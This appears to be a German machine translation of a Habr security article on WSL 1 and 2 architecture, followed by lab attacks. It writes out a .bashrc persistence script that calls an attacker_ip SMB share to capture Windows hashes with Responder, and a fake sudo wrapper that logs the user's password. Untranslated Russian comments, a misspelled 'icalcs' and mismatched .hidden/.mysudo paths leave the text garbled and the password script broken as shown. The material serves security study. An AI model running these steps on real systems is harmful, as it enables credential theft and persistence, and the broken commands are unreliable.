Hallo, habr! OTUS startet im Oktober einen neuen Kursstream . Im Vorfeld des Kursbeginns teilen wir Ihnen einen Artikel mit, der von einem unserer Lehrer, Alexander Kolesnikov, verfasst wurde.
Im Jahr 2016 stellte Microsoft der IT-Community die neue WSL-Technologie vor (Windows SSubsystem für Linux), was es in Zukunft ermöglichte, bisher unversöhnliche Konkurrenten zu vereinen, die sowohl bei normalen als auch bei fortgeschrittenen Betriebssystembenutzern um Popularität kämpften: Windows und Linux. Diese Technologie ermöglichte die Verwendung von Linux-Betriebssystemtools in einer Windows-Umgebung, ohne dass Linux ausgeführt werden musste, beispielsweise mithilfe von Multi-Boot. Auf Habr finden Sie zahlreiche Artikel, die die Vorteile der Verwendung von WSL beschreiben. Leider wurden zum Zeitpunkt der Erstellung dieses Artikels auf dieser Ressource keine Studien zur Sicherheit einer solchen Symbiose von Betriebssystemen gefunden. Dieser Beitrag wird ein Versuch sein, dies zu korrigieren. Der Artikel befasst sich mit den Funktionen der WSL 1- und 2-Architekturen und untersucht mehrere Beispiele für Angriffe auf Systeme, die diese Technologien verwenden. Der Artikel ist in 2 Teile gegliedert. Im ersten Teil werden die wichtigsten theoretischen Angriffsmethoden von Linux und Windows vorgestellt. Im zweiten Artikel geht es darum, eine Testumgebung einzurichten und die Angriffe zu reproduzieren.
WSL 1: architektonische Merkmale
Für einen möglichst genauen Einblick in WSL-Sicherheitsprobleme ist es notwendig, die wichtigsten Nuancen zu bestimmen, die mit der Implementierung des Subsystems verbunden sind. Eine der Hauptbenutzeraufgaben, die von WSL gelöst werden, ist die Möglichkeit, über ein Linux-Terminal auf einem Host mit Windows-Betriebssystem zu arbeiten. Außerdem war die angebotene Kompatibilität so nativ, dass ausführbare Linux-Dateien (ELFs) direkt auf einem Windows-System ausgeführt werden konnten. Um diese Ziele zu erreichen, wurde in Windows 10 ein spezielles Subsystem erstellt, das es Ihnen ermöglicht, Linux-Anwendungen mithilfe einer Reihe spezifischer Systemaufrufe auszuführen – daher wurde versucht, eine Reihe von Linux-Systemaufrufen auf Windows abzubilden. Dies wurde physisch durch das Hinzufügen neuer Treiber und eines neuen Prozessformats umgesetzt. Optisch sah die Architektur so aus:
Tatsächlich wurde die Interaktion mit dem Linux-Betriebssystem über mehrere Kernelmodule und einen speziellen Prozesstyp – Pico – organisiert. Aus dem Diagramm oben können Sie ersehen, dass der Prozess, der auf der Linux-Instanz auf dem Host ausgeführt wird, nativ sein muss und dieselben Ressourcen wie normale Windows-Anwendungen verwenden muss. Aber wie erreicht man das? Im Projekt Es wurden Prozesskonzepte für Windows entwickelt, die alle notwendigen Komponenten des Betriebssystems (je nach Version) bereitstellen, um eine Anwendung eines anderen Betriebssystems auszuführen.
Beachten Sie, dass die vorgeschlagene Abstraktion es ermöglichte, sich nicht auf das Betriebssystem (insbesondere Windows) zu konzentrieren, in dem der Prozess eines anderen Betriebssystems voraussichtlich gestartet wird, und einen allgemeinen Ansatz vorschlug.
Somit könnte jede Anwendung innerhalb des Pico-Prozesses ohne Rücksicht auf den Windows-Kernel ausgeführt werden:
- Probleme der Kompatibilität und Übersetzung von Systemaufrufen müssen durch spezielle Anbieter gelöst werden;
- Die Zugangskontrolle muss über den Sicherheitsmonitor erfolgen. Der Monitor befindet sich im Kernel und daher benötigte Windows ein Upgrade in Form eines neuen Treibers, der als Anbieter für solche Prozesse fungieren könnte. Nachfolgend ist der Prototyp des Pico-Prozesses schematisch dargestellt:
Da das Linux-Dateisystem Datei- und Verzeichnisnamen verwendet, bei denen die Groß-/Kleinschreibung beachtet wird, wurden Windows zwei Arten von Dateisystemen hinzugefügt, um mit WSL zu funktionieren: VolFS und DriveFS. VolFS ist eine Implementierung des Linux-Dateisystems, DriveFS ist ein Dateisystem, das nach Windows-Regeln arbeitet, aber die Möglichkeit hat, die Groß-/Kleinschreibung zu wählen.
WSL 2
WSL 1 wies eine Reihe von Einschränkungen auf, die es nicht ermöglichten, den größtmöglichen Aufgabenbereich zu lösen: Beispielsweise war es nicht möglich, 32-Bit-Linux-Anwendungen auszuführen, und es war nicht möglich, Gerätetreiber zu verwenden. Daher wurde im Jahr 2020 WSL 2 veröffentlicht, was den Ansatz zum Aufbau des Subsystems änderte. WSL 2 ist eine optimierte virtuelle Maschine, die den Ressourcenverbrauchseigenschaften von WSL 1 entspricht. Abhängig von den vom Benutzer des Windows-Betriebssystems gelösten Problemen können Sie nun die erforderliche Version des Linux-Subsystems auswählen. Um mögliche Schwachstellen abzuschwächen, wurde WSL 2 auf Basis von Hyper-V in Windows 10 implementiert. In dieser Form hat Windows die Möglichkeit, den Kernel des Linux-Betriebssystems isoliert auszuführen. Es sei daran erinnert, dass Version 1 von WSL als Beta-Funktion eingeführt wurde, die die Richtung der Windows-Entwicklung in diesem Bereich aufzeigen sollte, sodass der Übergang zu Hyper-V unvermeidlich war. Die endgültige Architektur sieht so aus:
In dieser Version verfügen die Windows- und Linux-Kernel über eigene Ressourcen und die Schnittmenge existiert nur im Dateisystem, diese Schnittmenge ist jedoch nicht vollständig. Die Interaktion zwischen Dateisystemen erfolgt über einen Client-Server-Wrapper, der mit dem 9P-Protokoll arbeitet.
Heute bietet Microsoft die Möglichkeit, zwischen WSL 1 und WSL 2 zu wechseln. Beide Versionen stehen zur Nutzung zur Verfügung.
WSL-Sicherheit
Derzeit gibt es mehrere Arbeiten, die einige Ansätze für den Einsatz legitimer Betriebssystem-Tools zum Angriff auf die Kommunikation zwischen Subsystemen beschreiben. Wir werden ihre Skripte verwenden, um die Relevanz der Angriffe zum Zeitpunkt des Schreibens zu überprüfen. Allgemeine Liste der Angriffe und Szenarien:
1. Dateisystemimplementierung: Zugriffsrechte, Verfügbarkeit gemeinsamer Verzeichnisse/Datenaustauschmechanismen.
Es wurden Untersuchungen durchgeführt, um Verstöße gegen die Zugangsregeln festzustellen Linux FS->Windows FS, Windows FS->Linux FS. Untersuchungen haben gezeigt, dass eine bestimmte Datei im Zielbetriebssystem geändert werden kann. Es wurden auch Versuche unternommen, Dateisysteme zu ersetzen, Duplikate zu erstellen und Teile der Dateisysteme zu löschen.
Szenario:
- A. Angriff vom Windows-Betriebssystem – Änderung von Dateien aus dem /etc-Verzeichnis des Linux-Betriebssystems.
- B. Angriff vom Linux-Betriebssystem – Änderung von Dateien in Verzeichnissen:
C:Windows,C:Program Files,C:Users<User>
2. Implementierung des Netzwerkstapels.
Die Recherche erfolgte anhand von Beispielen von Angriffen des Linux-Betriebssystems auf Windows. Es wurden die Funktionen des Netzwerkstapels genutzt, nämlich Authentifizierungsmechanismen für verschiedene Ressourcen.
Szenario:
- Öffnen des Zugriffs auf einen Port, der auf einem Windows-System belegt ist
- Öffnen eines Ports ohne entsprechende Rechte
- Ausführen der Reverse-Shell mit der Elf-Datei unter dem Windows-Betriebssystem.
3. Verstecken des Starts schädlicher Softwareprozesse mithilfe des WSL-Subsystems.
Die Untersuchung basierte auf einer einfachen Tatsache: Im Fall von WSL 1 können Sicherheitssubsysteme keine Ereignisse in einem anderen Kernel abfangen, der über einen legitimen Anbieter des Betriebssystems arbeitet. Im Fall von WSL 2 gibt es keine Möglichkeit, auftretende Ereignisse anzuzeigen in einem separaten Kernel innerhalb einer leichten virtuellen Maschine.
Szenario:
1) Starten Sie die Anwendung für den Fernzugriff auf das System und sehen Sie sich die protokollierten Ereignisse an.
WSL 1-Experimente: Hash-Abfangen (Windows)
Endlich kamen wir zum praktischen Teil. Zunächst müssen Sie die Testumgebung einrichten. Alle Experimente werden auf einem Labortisch mit installiertem Windows 10 2004 durchgeführt. Als Betriebssystem-Image für WSL wurde das Ubuntu 18.04-Image ausgewählt. Das Bild wurde zufällig ausgewählt und jedes andere funktioniert genauso. Befehle zum Standaufbau:
Sie müssen zuerst starten powershell.exe als Administrator.
Für WSL 1 müssen Sie die folgenden Befehle ausführen:
- Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
- Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804
-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft
Ubuntu.appx install —root #Установим образ
Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.
Restart-Computer #Перезагрузим
Nach dem Neustart des Standes können Sie den Bash-Befehl aufrufen. Wenn alles korrekt funktioniert hat, sehen Sie in der Windows-Konsole eine Ausgabe ähnlich dieser:
Wir werden die Kali-Linux-Distribution als Angreifermaschine verwenden; alle Maschinen müssen sich im selben lokalen Netzwerk befinden.
Nehmen wir an, wir haben auf einem Windows-Rechner unprivilegierten Zugriff auf WSL. Versuchen wir, das Linux-Betriebssystem anzugreifen, indem wir einen Befehl von Linux aus aufrufen. Um den Angriff umzusetzen, verwenden wir eine einfache Autorun-Technik – wir fügen unser Skript zur Ausführung in der Linux-Umgebung hinzu. Dazu müssen Sie die Datei ändern .bashrc.
Auf einer Maschine mit WSL führen wir Folgendes aus:
1. bash
2. Переходим в домашнюю директорию пользователя: cd /home/sam/
2. echo «/home/sam/.attack.sh» >> .bashrc
3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
4. chmod u+x .attack.sh
5. exitAuf einer Kali-Linux-Maschine führen wir Folgendes aus:
1. Responder -I eth0 -rdvwAuf einem Windows-Rechner starten wir Bash.
Wir warten auf das Ergebnis auf der Kali-Linux-Maschine:
Daher haben wir die Windows-Benutzer-Hashes über das WSL-Subsystem erhalten, indem wir den Befehl auf dem Linux-System ausgeführt haben.
WSL 1-Experimente: Benutzerpasswort erhalten (Linux-Betriebssystem)
Machen wir noch ein Experiment. Bei dieser Prüfung ergänzen wir die Datei .bashrc mehrere Befehle, um das Benutzerkennwort des Linux-Betriebssystems zu erhalten.
Lassen Sie uns Bash starten und die Befehle eingeben:
1. mkdir .hidden
2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
4. echo "echo """ >> .mysudo/sudo
5. echo "sleep 2" >> .mysudo/sudo
6. echo "echo "Sorry, try again."" >> .mysudo/sudo
7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
9. chmod +x .mysudo/sudo
10. exit
Um den Angriff erfolgreich abzuschließen, muss der Benutzer Sam im Linux-Terminal sudo aufrufen. Danach befindet sich das Benutzerkennwort des Linux-Betriebssystems in der Datei pass.txt:
Die Ausführung der Angriffe erfolgte lediglich zur theoretischen Information.
Im nächsten Teil des Artikels wird die Implementierung des 9P-Protokolls beschrieben, die Erstellung eines Scanners für dieses Protokoll in Betracht gezogen und auch ein Angriff damit durchgeführt.
Liste der verwendeten Literatur
Weiterlesen
Source: habr.com